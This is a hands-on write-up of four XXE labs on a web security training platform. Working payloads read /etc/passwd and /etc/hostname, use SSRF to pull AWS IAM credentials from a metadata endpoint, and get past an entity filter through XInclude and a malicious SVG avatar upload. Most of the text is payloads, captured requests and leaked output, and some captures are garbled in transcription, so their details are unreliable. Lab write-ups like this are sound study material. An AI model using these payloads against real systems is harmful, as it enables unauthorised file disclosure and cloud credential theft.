

## XXE Injection

## LAB 93 Exploiting XXE using external entities to retrieve files

Website contains functionality on checking items' stock. It is done in POST /product/stock request:

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time	Listener port
111	https://dalib004a037b97c98.	GET	/resources/images/shop.svg			200	7258	XML	svg			✓	34.246.129.62		02:56:22.21	- 8080
118	https://dalib004a037b97c98.	GET	/academy/abHeader			101	147					✓	34.246.129.62		02:56:23.21	- 8080
137	https://dalib004a037b97c98.	GET	/resources/abHeader/images/logo...			200	8852	XML	svg			✓	34.246.129.62		02:56:24.21	- 8080
138	https://dalib004a037b97c98.	GET	/resources/abHeader/images/ps-l...			200	942	XML	svg			✓	34.246.129.62		02:56:24.21	- 8080
140	https://dalib004a037b97c98.	GET	/product?productId=1	✓		200	5213	HTML		Exploiting XXE using e...		✓	34.246.129.62		02:57:04.21	- 8080
141	https://dalib004a037b97c98.	GET	/resources/js/xmlStockCheckPaylo...			200	513	script	js			✓	34.246.129.62		02:57:04.21	- 8080
142	https://dalib004a037b97c98.	GET	/academy/abHeader			101	147					✓	34.246.129.62		02:57:04.21	- 8080
143	https://dalib004a037b97c98.	GET	/resources/js/stockCheck.js			200	981	script	js			✓	34.246.129.62		02:57:04.21	- 8080
144	https://dalib004a037b97c98.	POST	/product/stock	✓		200	109	text				✓	34.246.129.62		02:57:06.21	- 8080
145	https://www.youtube.com	POST	/youtube/v1/log_event?alt=json&...	✓		200	370	JSON				✓	216.58.215.110		02:57:08.21	- 8080
146	https://www.youtube.com	POST	/youtube/v1/log_event?alt=json&...	✓		200	370	JSON				✓	216.58.215.110		02:57:08.21	- 8080
147	https://www.youtube.com	POST	/youtube/v1/log_event?alt=json&...	✓		200	370	JSON				✓	216.58.215.110		02:57:08.21	- 8080

As one can see, it contains XML data inside, having productID parameter inside. It might be vulnerable to XXE attack. I have injected an XXE 'xxe' as new doctype to fetch for /etc/passwd file:

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
1	POST	/product/stock HTTP/2	1	HTTP/2 400 Bad Request	
2	Host : 0a1b004a037b97c983ac6985008600c3.web-security-academy.net		2	Content-Type : application/json; charset=utf-8	
3	Cookie : session=0jmmms60m7a5VVV7AcRQXq0a2XMyVyl		3	X-Frame-Options : SAMEORIGIN	
4	Content-Length : 174		4	Content-Length : 2338	
5	Sec-Ch-Ua : "Hot A Brand";v="8", "Chromium";v="120"		5		
6	Sec-Ch-Ua-Platform : "Windows"		6	"Invalid product ID: root:x:0:root:/root:/bin/bash	
7	Sec-Ch-Ua-Mobile : ?0		7	daemon : x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
8	User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6095.159 Safari/537.36		8	bin : x:2:bin:/bin:/usr/sbin/nologin	
9	Content-Type : application/xml		9	sys : x:3:sys:/dev:/usr/sbin/nologin	
10	Accept : /*/*		10	sync : x:4:55534:/sync:/bin:/bin/sync	
11	Origin : https://0a1b004a037b97c983ac6985008600c3.web-security-academy.net		11	games : x:5:60/games:/usr/games:/usr/sbin/nologin	
12	Sec-Fetch-Site : same-origin		12	man : x:6:12:/man:/var/cache/man:/usr/sbin/nologin	
13	Sec-Fetch-Mode : cors		13	lp : x:7:7:/lp:/var/spool/lpd:/usr/sbin/nologin	
14	Sec-Fetch-Dest : empty		14	mail : x:8:8:/mail:/var/mail:/usr/sbin/nologin	
15	Referer : https://0a1b004a037b97c983ac6985008600c3.web-security-academy.net/product?productId=2		15	news : x:9:9:/news:/var/spool/news:/usr/sbin/nologin	
16	Accept-Encoding : gzip, deflate, br		16	uucp : x:10:10:/uucp:/var/spool/uucp:/usr/sbin/nologin	
17	Accept-Language : en-US,en;q=0.9		17	proxy : x:11:11:/proxy:/bin:/usr/sbin/nologin	
18	Priority : u=1, i		18	www-data : x:33:33/www-data:/var/www:/usr/sbin/nologin	
19			19	backup : x:34:34:/backup:/var/backups:/usr/sbin/nologin	
20	<?xml version="1.0" encoding="UTF-8"?>		20	list : x:38:38/Mailing List Manager:/var/list:/usr/sbin/nologin	
21	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd/" > ]>		21	irc : x:39:39:/irc:/var/irc:/usr/sbin/nologin	
22	<stockCheck>		22	gnats : x:41:41/Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin	
	<productId>			nobody : x:65534:65534/nobody:/nonexistent:/usr/sbin/nologin	
	&xxe;		24	apt : x:100:55534::/nonexistent:/usr/sbin/nologin	
	</productId>		25	peter : x:12001:12001::/home/peter:/bin/bash	
	<storeId>		26	carlos : x:12002:12002::/home/carlos:/bin/bash	
	1		27	user : x:12000:12000::/home/user:/bin/bash	
	</storeId>		28	elmer : x:12059:12059:/home/elmer:/bin/bash	
	</stockCheck>		29	academy : x:10000:10000::/academy:/bin/bash	
			30	messagebus : x:101:101::/nonexistent:/usr/sbin/nologin	
			31	dnsmasq : x:102:65534:dnsmasq,	
				,	
				/var/lib/misc:/usr/sbin/nologin	
			32	systemd-timesync : x:103:103:/systemd Time Synchronization ,	
				,	
				/run/systemd:/usr/sbin/nologin	

As a response, I received an error code 400 Bad Request AND the contents of /etc/passwd

## LAB 94 Exploiting XXE to perform SSRF attacks

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is <http://169.254.169.254/>. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

The goal is to obtain the server's IAM secret access key from the EC2 metadata endpoint.

According to [AWS documentation](#), the IAM secret can be obtained at

So, let's inject an XXE that will fetch <http://169.254.169.254/latest/meta-data/iam/security-credentials/admin>:

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs open. The 'Request' tab displays a POST request to `/product/stock` with a 'Content-Type' of `application/xml`. The request body is an XML document that includes an XXE injection: `<?xml version='1.0' encoding='UTF-8'><!DOCTYPE foo [<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]><stockcheck><productId><ssrf;</productId><storeId>1</storeId></stockcheck>`. The 'Response' tab shows a 400 Bad Request error with a 'Content-Type' of `application/json`. The response body is a JSON object: `{ "Code": "Success", "LastUpdated": "2024-03-21T02:57:32.891627808Z", "Type": "AWS-HMAC", "AccessKeyId": "00JrRNMVLje0JWEbEWnG", "SecretAccessKey": "FP0uttsvXNFrwyGqql1bYq3xadhzRqsSTBDuhajp", "Token": "6kJakPMf16g1dJPZiaT3gNNPFBSGowNElG3JrMiqVNGWrLUpF4lcK4e64bDmDX7kXfNg412NVtFtc2Dr8DPIC2rUbr7cTdD4wNcPwsBimO9ONugG2O6uCYxgR6M2kHUU4BjPtX2wAg189CXs2AiW0sTlRiN1xEbJBcaIBfE7qUHLWHkNVrOhrvm2GjL0Xmhh06me1RaVOLZdMHHZS6QlkEldcHmFcZujpjaufFy3nSk1fbhyLga4NtuZDV1xibHg", "Expiration": "2030-03-20T02:57:32.891627808Z" }`.

Great. I have received both AccessKeyId, SecretAccessKey and Token:

"Code" : "Success",

"LastUpdated" : "2024-03-21T02:57:32.891627808Z",

"Type" : "AWS-HMAC",

"AccessKeyId" : "00JrRNMVLje0JWEbEWnG",

"SecretAccessKey" : "FP0uttsvXNFrwyGqql1bYq3xadhzRqsSTBDuhajp",

"Token" :

"6kJakPMf16g1dJPZiaT3gNNPFBSGowNElG3JrMiqVNGWrLUpF4lcK4e64bDmDX7kXfNg412NVtFtc2Dr8DPIC2rUbr7cTdD4wNcPwsBimO9ONugG2O6uCYxgR6M2kHUU4BjPtX2wAg189CXs2AiW0sTlRiN1xEbJBcaIBfE7qUHLWHkNVrOhrvm2GjL0Xmhh06me1RaVOLZdMHHZS6QlkEldcHmFcZujpjaufFy3nSk1fbhyLga4NtuZDV1xibHg",

"Expiration" : "2030-03-20T02:57:32.891627808Z"

## LAB 95 [Exploiting XInclude to retrieve files](#)

The goal is to obtain /etc/passwd contents.

At first sight, this lab seems not to be vulnerable to XXE:

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs selected. The 'Request' tab shows a POST request to `/product/stock` with a `Content-Type` of `application/x-www-form-urlencoded`. The 'Response' tab shows a 200 OK response with a `Content-Type` of `text/plain`.

However, I tried to replace one of the parameters' value to XML arbitrary type and received the following error message:

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs selected. The 'Request' tab shows a POST request to `/product/stock` with a `Content-Type` of `application/x-www-form-urlencoded`. The 'Response' tab shows a 400 Bad Request response with a message: `"Entities are not allowed for security reasons"`.

So, the XML entity was accepted, but there is sort of protection present. This could be bypassed by introducing XInclude which is a part of XML specification. It can be done in following:

```
<foo
xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
parse="text" href="file:///etc/passwd"/></foo>
```

Request				Response				
Pretty	Raw	Hex		Pretty	Raw	Hex	Render	
<pre> 1 POST /product/stock HTTP/2 2 Host : Daf2003403e45fe680c83ab700c50079.web-security-academy.net 3 Cookie : session=rfmL8A7XXZL7dJxsrIYOH3m840i12fP 4 Content-Length : 126 5 Sec-Ch-Ua : "Not_A_Brand";v="8", "Chromium";v="120" 6 Sec-Ch-Ua-Platform : "Windows" 7 Sec-Ch-Ua-Mobile : ?0 8 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,   Like Gecko) Chrome/120.0.6099.199 Safari/537.36 9 Content-Type : application/x-www-form-urlencoded 10 Accept : */* 11 Origin : https://Daf2003403e45fe680c83ab700c50079.web-security-academy.net 12 Sec-Fetch-Site : same-origin 13 Sec-Fetch-Mode : cors 14 Sec-Fetch-Dest : empty 15 Referer :   https://Daf2003403e45fe680c83ab700c50079.web-security-academy.net/product?productId=   2 16 Accept-Encoding : gzip, deflate, br 17 Accept-Language : en-US,en;q=0.9 18 Priority : u=1, i 19 20 productId=&lt;foo xmlns:xsi="http://www.w3.org/2001/XMLSchema" xsi:include   href="file:///etc/passwd"/&gt;&lt;/foo&gt;&amp;productId=1 </pre>				<pre> 1 HTTP/2 400 Bad Request 2 Content-Type : application/json; charset=utf-8 3 X-Frame-Options : SAMEORIGIN 4 Content-Length : 2338 5 6 "Invalid product ID: root:x0:0:root:/root:/bin/bash 7 daemon:x1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x2:2:bin:/bin:/usr/sbin/nologin 9 sys:x3:3:sys:/dev:/usr/sbin/nologin 10 sync:x4:65534:sync:/bin:/bin/sync 11 games:x5:60:games:/usr/games:/usr/sbin/nologin 12 man:x6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x38:38:Maillist Manager:/var/list:/usr/sbin/nologin 21 irc:x39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x41:41:Gnats Bug-Reporting System (admin) /var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/:home/peter:/bin/bash 26 carlos:x:12002:12002:/:home/carlos:/bin/bash 27 user:x:12000:12000:/:home/user:/bin/bash 28 elmer:x:12099:12099:/:home/elmer:/bin/bash 29 academy:x:10000:10000:/:academy:/bin/bash 30 messagebus:x:101:101:/:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,   ,   ,   /var/lib/misc:/usr/sbin/nologin 32 systemd-timesyncd:x:103:103:systemd Time Synchronization,   ,   ,   /run/systemd:/usr/sbin/nologin 33 avastend-network:x:104:105:avastend Network Management, </pre>				

Bingo! I can see /etc/passwd/ contents.

## LAB 96 Exploiting XXE via image file upload

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.

The goal is to obtain /etc/hostname file.

Apache Batik renders SVG files. SVG is an XML based format, so let's create an SVG picture with the following content:

```

NewTux.org - Notepad
File Edit Format View Help
<?xml version="1.0" standalone="yes"?>

<!DOCTYPE test [ <ENTITY xxe SYSTEM "file:///etc/hostname" > ]>

<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;
</text>
</svg>

```

Now, I will upload this .svg image as my profile picture:

### Leave a comment

Comment:

bla bla bla

Name:

test

Avatar:

Choose File NewTux.svg

Email:

wiener@ginandjuice.shop

Website:

http://test.com

Post Comment

ca1e33cf11c1

test | 21 March 2024

bla bla bla

The comment was added successfully and I can see a mini avatar in front of my name, let's open it in new tab:

ca1e33cf11c1

This is the hostname I was looking for.

/etc/hostname: ca1e33cf11c1

Congratulations, you solved the lab!